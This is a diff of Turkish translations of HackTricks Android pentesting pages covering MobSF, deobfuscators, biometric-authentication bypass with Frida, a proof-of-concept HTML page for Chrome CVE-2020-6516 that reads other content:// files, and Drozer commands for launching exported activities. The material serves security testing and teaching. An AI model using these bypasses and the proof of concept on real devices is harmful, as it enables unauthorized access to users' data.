||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın.
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni hata ödülleri ve kritik platform güncellemeleri hakkında bilgi sahibi olun.
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Otomatik Analiz
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
@ -560,7 +515,7 @@ Yeni hata ödülleri ve kritik platform güncellemeleri hakkında bilgi sahibi o
|
||||
|
||||
.png>)
|
||||
|
||||
**Uygulamanın güvenlik açığı değerlendirmesi**, güzel bir web tabanlı ön yüz kullanarak yapılır. Dinamik analiz de gerçekleştirebilirsiniz (ancak ortamı hazırlamanız gerekir).
|
||||
**Uygulamanın güvenlik açığı değerlendirmesi**, güzel bir web tabanlı ön yüz kullanarak yapılır. Ayrıca dinamik analiz de gerçekleştirebilirsiniz (ancak ortamı hazırlamanız gerekir).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
@ -577,14 +532,14 @@ MobSF ayrıca **diff/Compare** analizine ve **VirusTotal** entegrasyonuna izin v
|
||||
|
||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
- **HTTPS trafiğini yakalama**
|
||||
- **Runtime** **bilgilerini elde etmek için **Frida** kullanma**
|
||||
- **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma
|
||||
|
||||
Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır.
|
||||
|
||||
**Frida**
|
||||
|
||||
Varsayılan olarak, **SSL pinning**, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri izlemek** için bazı Frida Script'lerini de kullanacaktır.\
|
||||
MobSF ayrıca **dışa aktarılan etkinlikleri çağırabilir**, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
|
||||
Varsayılan olarak, **SSL pinning**, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
|
||||
|
||||
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
|
||||
MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize izin verir (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (bu script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
|
||||
@ -593,12 +548,12 @@ MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize izin verir (Frida scr
|
||||
|
||||
Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var:
|
||||
|
||||
- **Yüklenen Sınıfları Listele**: Yüklenen tüm sınıfları yazdırır
|
||||
- **Dizeleri Yakala**: Uygulama kullanılırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
|
||||
- **Dize Karşılaştırmalarını Yakala**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**.
|
||||
- **Sınıf Yöntemlerini Listele**: Sınıf adını (örneğin "java.io.File") yazın ve sınıfın tüm yöntemlerini yazdırır.
|
||||
- **Sınıf Deseni Ara**: Desene göre sınıfları arar
|
||||
- **Sınıf Yöntemlerini İzle**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görün). Varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
- **Yüklenen Sınıfları Sayma**: Yüklenen tüm sınıfları yazdırır
|
||||
- **Dizeleri Yakalama**: Uygulama kullanılırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
|
||||
- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** gösterecek ve sonucun True veya False olup olmadığını belirtecektir.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır.
|
||||
- **Sınıf Deseni Arama**: Desene göre sınıfları arama
|
||||
- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görme). Varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
|
||||
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
|
||||
|
||||
@ -615,7 +570,7 @@ receivers
|
||||
```
|
||||
**HTTP araçları**
|
||||
|
||||
HTTP trafiği yakalandığında, "**HTTP(S) Trafik**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
|
||||
HTTP trafiği yakalandığında, "**HTTP(S) Trafiği**" altında yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonunda daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
|
||||
Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzz** etmek ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz.
|
||||
@ -676,7 +631,7 @@ StaCoAn, mobil uygulamalar üzerinde [statik kod analizi](https://en.wikipedia.o
|
||||
|
||||
Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz.
|
||||
|
||||
[son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin:
|
||||
[En son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin:
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
@ -725,7 +680,7 @@ Kodu obfuscate etmek için kullandığınız hizmet ve yapılandırmaya bağlı
|
||||
|
||||
[Wikipedia'dan](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize etmenin yanı sıra kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır.
|
||||
|
||||
ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın modunda derlenirken çalışır.
|
||||
ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın modunda oluşturulurken çalışır.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
@ -736,7 +691,7 @@ APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/de
|
||||
- Bir kaynağı InputStream olarak yüklemek;
|
||||
- Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek;
|
||||
- Bir ters mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
|
||||
- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak;
|
||||
- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak;
|
||||
- Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
@ -745,25 +700,29 @@ APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/de
|
||||
|
||||
Obfuscate edilmiş bir APK'yı platformlarına yükleyebilirsiniz.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve Android uygulama kodunu deşifre etmek için bir LLM aracıdır. Google'ın Gemini kamu API'sini kullanır.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü önemli değildir.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD, **bir APK'nın nasıl yapıldığını** hakkında bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
|
||||
APKiD, **bir APK'nın nasıl yapıldığını** size bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
|
||||
|
||||
### Manual
|
||||
|
||||
[Özel obfuscation'ı nasıl tersine çevireceğinizi öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
|
||||
## Laboratuvarlar
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve ters mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik meraklıları ve araştırmacılardan en son çerçeve, eğitim ve laboratuvar koleksiyonunu içerir.
|
||||
AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve ters mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitimler ve laboratuvarlar koleksiyonunu içerir.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Harika bir kaynak listesi
|
||||
@ -772,24 +731,9 @@ AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve ters m
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
|
||||
## Denemek için
|
||||
## Yet to try
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking Insights**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,15 +2,10 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mobil Güvenlik** konusundaki uzmanlığınızı 8kSec Akademisi ile derinleştirin. Kendi hızınızda ilerleyerek iOS ve Android güvenliğini öğrenin ve sertifika kazanın:
|
||||
## **Yöntem 1 – Kripto Nesne Kullanımı Olmadan Atlatma**
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
## **Yöntem 1 – Kripto Nesnesi Kullanımı Olmadan Atlatma**
|
||||
|
||||
Buradaki odak, kimlik doğrulama sürecinde kritik öneme sahip olan _onAuthenticationSucceeded_ geri çağrısıdır. WithSecure'daki araştırmacılar, _onAuthenticationSucceeded(...)_ içindeki NULL _CryptoObject_'in atlatılmasını sağlayan bir [Frida scripti](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) geliştirdiler. Bu script, metodun çağrılmasıyla birlikte parmak izi kimlik doğrulamasının otomatik olarak atlatılmasını zorlar. Aşağıda, bir Android Parmak İzi bağlamında atlatmayı gösteren basitleştirilmiş bir kod parçası bulunmaktadır; tam uygulama [GitHub](https://github.com/St3v3nsS/InsecureBanking)'da mevcuttur.
|
||||
Burada odak, kimlik doğrulama sürecinde kritik öneme sahip olan _onAuthenticationSucceeded_ geri çağrısına yöneliktir. WithSecure'daki araştırmacılar, _onAuthenticationSucceeded(...)_ içindeki NULL _CryptoObject_'in atlatılmasını sağlayan bir [Frida scripti](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) geliştirdiler. Script, metodun çağrılmasıyla birlikte parmak izi kimlik doğrulamasının otomatik olarak atlatılmasını zorlar. Aşağıda, bir Android Parmak İzi bağlamında atlatmayı gösteren basitleştirilmiş bir kod parçası bulunmaktadır; tam uygulama ise [GitHub](https://github.com/St3v3nsS/InsecureBanking) üzerinde mevcuttur.
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
@ -43,19 +38,19 @@ Hooking FingerprintManager.authenticate()...
|
||||
|
||||
Xposed veya Frida gibi enstrümantasyon çerçeveleri, uygulama yöntemlerine çalışma zamanında bağlanmak için kullanılabilir. Parmak izi kimlik doğrulaması için bu çerçeveler:
|
||||
|
||||
1. **Kimlik Doğrulama Geri Aramalarını Taklit Etme**: `BiometricPrompt.AuthenticationCallback`'ın `onAuthenticationSucceeded`, `onAuthenticationFailed` veya `onAuthenticationError` yöntemlerine bağlanarak, parmak izi kimlik doğrulama sürecinin sonucunu kontrol edebilirsiniz.
|
||||
2. **SSL Pinning'i Atlatma**: Bu, bir saldırganın istemci ile sunucu arasındaki trafiği kesip değiştirmesine olanak tanır, bu da kimlik doğrulama sürecini değiştirme veya hassas verileri çalma potansiyeli taşır.
|
||||
1. **Kimlik Doğrulama Geri Çağrılarını Taklit Etme**: `BiometricPrompt.AuthenticationCallback`'ın `onAuthenticationSucceeded`, `onAuthenticationFailed` veya `onAuthenticationError` yöntemlerine bağlanarak, parmak izi kimlik doğrulama sürecinin sonucunu kontrol edebilirsiniz.
|
||||
2. **SSL Pinning'i Atlatma**: Bu, bir saldırganın istemci ile sunucu arasındaki trafiği yakalayıp değiştirmesine olanak tanır, bu da kimlik doğrulama sürecini değiştirebilir veya hassas verileri çalabilir.
|
||||
|
||||
Frida için örnek komut:
|
||||
```bash
|
||||
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
||||
```
|
||||
## **Yöntem 4 – Tersine Mühendislik & Kod Modifikasyonu**
|
||||
## **Yöntem 4 – Tersine Mühendislik ve Kod Modifikasyonu**
|
||||
|
||||
Tersine mühendislik araçları olan `APKTool`, `dex2jar` ve `JD-GUI`, bir Android uygulamasını decompile etmek, kaynak kodunu okumak ve kimlik doğrulama mekanizmasını anlamak için kullanılabilir. Adımlar genellikle şunları içerir:
|
||||
|
||||
1. **APK'nın Decompile Edilmesi**: APK dosyasını daha okunabilir bir formata (Java kodu gibi) dönüştürmek.
|
||||
2. **Kodun Analizi**: parmak izi kimlik doğrulamasının uygulanışını aramak ve potansiyel zayıflıkları (yedekleme mekanizmaları veya uygunsuz doğrulama kontrolleri gibi) belirlemek.
|
||||
2. **Kodun Analizi**: Parmak izi kimlik doğrulamasının uygulanışını aramak ve potansiyel zayıflıkları (yedekleme mekanizmaları veya uygunsuz doğrulama kontrolleri gibi) belirlemek.
|
||||
3. **APK'nın Yeniden Derlenmesi**: Parmak izi kimlik doğrulamasını atlamak için kodu değiştirdikten sonra, uygulama yeniden derlenir, imzalanır ve test için cihaza yüklenir.
|
||||
|
||||
## **Yöntem 5 – Özel Kimlik Doğrulama Araçları Kullanma**
|
||||
@ -69,10 +64,5 @@ Kimlik doğrulama mekanizmalarını test etmek ve atlamak için tasarlanmış ö
|
||||
|
||||
- [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mobil Güvenlik** konusundaki uzmanlığınızı 8kSec Akademi ile derinleştirin. Kendi hızınıza uygun kurslarımızla iOS ve Android güvenliğini öğrenin ve sertifika kazanın:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,14 +1,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**Bu, [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) gönderisinin bir özetidir.**
|
||||
|
||||
### Medya Deposunda Dosyaları Listeleme
|
||||
### Medya Mağazasında Dosyaları Listeleme
|
||||
|
||||
Medya Deposu tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:
|
||||
Medya Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
@ -44,11 +40,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
||||
```
|
||||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||||
|
||||
_**Aynı Kaynak Politikası**_ (SOP), tarayıcılarda farklı kaynaklardan gelen verilerle etkileşimi kısıtlayan bir güvenlik protokolüdür; bu etkileşim, yalnızca bir Cross-Origin-Resource-Sharing (CORS) politikası ile açıkça izin verilirse mümkündür. Bu politika, bilgi sızıntılarını ve çapraz site istek sahtekarlığını önlemeyi amaçlar. Chrome, `content://`'ı yerel bir şema olarak kabul eder ve bu da daha katı SOP kurallarını ifade eder; burada her yerel şema URL'si ayrı bir kaynak olarak değerlendirilir.
|
||||
_**Same Origin Policy**_ (SOP), farklı kökenlerden gelen kaynaklarla etkileşimde bulunmayı kısıtlayan bir güvenlik protokolüdür. Bu protokol, bir Cross-Origin-Resource-Sharing (CORS) politikası tarafından açıkça izin verilmedikçe, web sayfalarının farklı kökenlerden gelen kaynaklarla etkileşimde bulunmasını engellemeyi amaçlar. Bu politika, bilgi sızıntılarını ve cross-site request forgery'yi önlemeyi hedefler. Chrome, `content://`'ı yerel bir şema olarak kabul eder ve bu da daha katı SOP kurallarını ifade eder; burada her yerel şema URL'si ayrı bir köken olarak değerlendirilir.
|
||||
|
||||
Ancak, CVE-2020-6516, `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının aşılmasına izin veren bir Chrome zafiyetiydi. Sonuç olarak, `content://` URL'sinden gelen JavaScript kodu, `content://` URL'leri aracılığıyla yüklenen diğer kaynaklara erişebiliyordu; bu, özellikle Android 10'dan önceki sürümleri çalıştıran Android cihazlarda, kapsamlı depolamanın uygulanmadığı durumlarda önemli bir güvenlik endişesiydi.
|
||||
Ancak, CVE-2020-6516, `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının aşılmasına izin veren bir Chrome zafiyetiydi. Sonuç olarak, `content://` URL'sinden gelen JavaScript kodu, `content://` URL'leri aracılığıyla yüklenen diğer kaynaklara erişebiliyordu; bu, özellikle Android 10'dan önceki sürümleri çalıştıran Android cihazlarda önemli bir güvenlik endişesiydi, çünkü burada kapsamlı depolama uygulanmamıştı.
|
||||
|
||||
Aşağıdaki kanıt konsepti, **/sdcard** altında yüklendikten sonra Medya Deposu'na eklenen bir HTML belgesinin, JavaScript'inde `XMLHttpRequest` kullanarak Medya Deposu'ndaki başka bir dosyanın içeriğine erişip görüntülemesini gösterir ve SOP kurallarını aşar.
|
||||
Aşağıdaki kanıt konsepti, **/sdcard** altında yüklendikten sonra Medya Mağazası'na eklenen bir HTML belgesinin, JavaScript'inde `XMLHttpRequest` kullanarak Medya Mağazası'ndaki başka bir dosyanın içeriğine erişip görüntülemesini gösterir ve SOP kurallarını aşar.
|
||||
|
||||
Proof-of-Concept HTML:
|
||||
```xml
|
||||
@ -79,8 +75,4 @@ xhr.send();
|
||||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,19 +1,15 @@
|
||||
# Drozer Tutorial
|
||||
# Drozer Eğitimi
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<img src="../../../images/i3.png" alt="" data-size="original">
|
||||
|
||||
**Hata avı ipucu**: **Intigriti** için **kayıt olun**, **hackler tarafından, hackler için oluşturulmuş premium bir hata avı platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Test edilecek APK'lar
|
||||
|
||||
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'dan)
|
||||
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'tan)
|
||||
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
||||
|
||||
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**'den alınmıştır.**
|
||||
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'sinden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.**
|
||||
|
||||
## Kurulum
|
||||
|
||||
@ -23,7 +19,9 @@ pip install drozer-2.4.4-py2-none-any.whl
|
||||
pip install twisted
|
||||
pip install service_identity
|
||||
```
|
||||
[en] drozer APK'sını [en son sürümlerden](https://github.com/mwrlabs/drozer/releases) indirin ve kurun. Şu anda bu [şu](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
||||
[en] ve [tr] ile ilgili metinleri çevirmiyorum.
|
||||
|
||||
drozer APK'sını [latest releases](https://github.com/mwrlabs/drozer/releases) adresinden indirin ve kurun. Şu anda [bu](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
||||
```bash
|
||||
adb install drozer.apk
|
||||
```
|
||||
@ -46,13 +44,13 @@ drozer console connect
|
||||
| **Komutlar** | **Açıklama** |
|
||||
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Help MODULE** | Seçilen modülün yardımını gösterir |
|
||||
| **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin bir listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. |
|
||||
| **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. |
|
||||
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
|
||||
| **clean** | Drozer tarafından Android cihazda saklanan geçici dosyaları kaldırır. |
|
||||
| **clean** | Android cihazında drozer tarafından depolanan geçici dosyaları kaldırır. |
|
||||
| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla çalıştırır. |
|
||||
| **module** | İnternetten ek drozer modüllerini bulur ve yükler. |
|
||||
| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. |
|
||||
| **set** | Drozer tarafından oluşturulan herhangi bir Linux kabuğuna çevresel değişken olarak geçirilecek bir değişkende bir değeri saklar. |
|
||||
| **set** | Drozer tarafından oluşturulan herhangi bir Linux kabuğuna çevresel değişken olarak geçirilecek bir değişkende bir değeri saklar. |
|
||||
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
|
||||
| **run MODULE** | Bir drozer modülünü çalıştırır |
|
||||
| **exploit** | Drozer, cihazda çalıştırmak için istismarlar oluşturabilir. `drozer exploit list` |
|
||||
@ -65,7 +63,7 @@ drozer console connect
|
||||
dz> run app.package.list -f sieve
|
||||
com.mwr.example.sieve
|
||||
```
|
||||
**Paketin Temel Bilgileri:**
|
||||
**Paketin Temel Bilgileri**:
|
||||
```bash
|
||||
dz> run app.package.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
@ -99,14 +97,14 @@ Attack Surface:
|
||||
2 services exported
|
||||
is debuggable
|
||||
```
|
||||
- **Etkinlikler**: Belki bir etkinlik başlatabilir ve bunu başlatmanızı engellemesi gereken bir tür yetkilendirmeyi atlayabilirsiniz.
|
||||
- **Aktiviteler**: Belki bir aktivite başlatabilir ve sizi başlatmaktan alıkoyması gereken bir tür yetkilendirmeyi atlayabilirsiniz.
|
||||
- **İçerik sağlayıcıları**: Belki özel verilere erişebilir veya bazı güvenlik açıklarını (SQL Injection veya Path Traversal) istismar edebilirsiniz.
|
||||
- **Hizmetler**:
|
||||
- **debuggable**: [Daha fazla bilgi edinin](./#is-debuggeable)
|
||||
|
||||
### Etkinlikler
|
||||
### Aktiviteler
|
||||
|
||||
Bir dışa aktarılmış etkinlik bileşeninin “android:exported” değeri AndroidManifest.xml dosyasında **“true”** olarak ayarlanmıştır:
|
||||
Bir dışa aktarılmış aktivite bileşeninin “android:exported” değeri AndroidManifest.xml dosyasında **“true”** olarak ayarlanmıştır:
|
||||
```markup
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
@ -125,16 +123,16 @@ Belki bir etkinliği başlatabilir ve sizi başlatmaktan alıkoyması gereken bi
|
||||
```bash
|
||||
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
|
||||
```
|
||||
Ayrıca **adb** ile dışa aktarılan bir etkinliği başlatabilirsiniz:
|
||||
Ayrıca **adb** ile dışa aktarılmış bir aktivite başlatabilirsiniz:
|
||||
|
||||
- Paket Adı com.example.demo
|
||||
- Dışa Aktarılan Etkinlik Adı com.example.test.MainActivity
|
||||
- Dışa Aktarılan Aktivite Adı com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
### İçerik Sağlayıcıları
|
||||
|
||||
Bu gönderi burada yer alacak kadar büyük değil, bu yüzden **ulaşabilirsiniz** [**kendi sayfasında buradan**](exploiting-content-providers.md).
|
||||
Bu gönderi burada yer alacak kadar büyük olduğu için **ona** [**kendi sayfasından buradan erişebilirsiniz**](exploiting-content-providers.md).
|
||||
|
||||
### Hizmetler
|
||||
|
||||
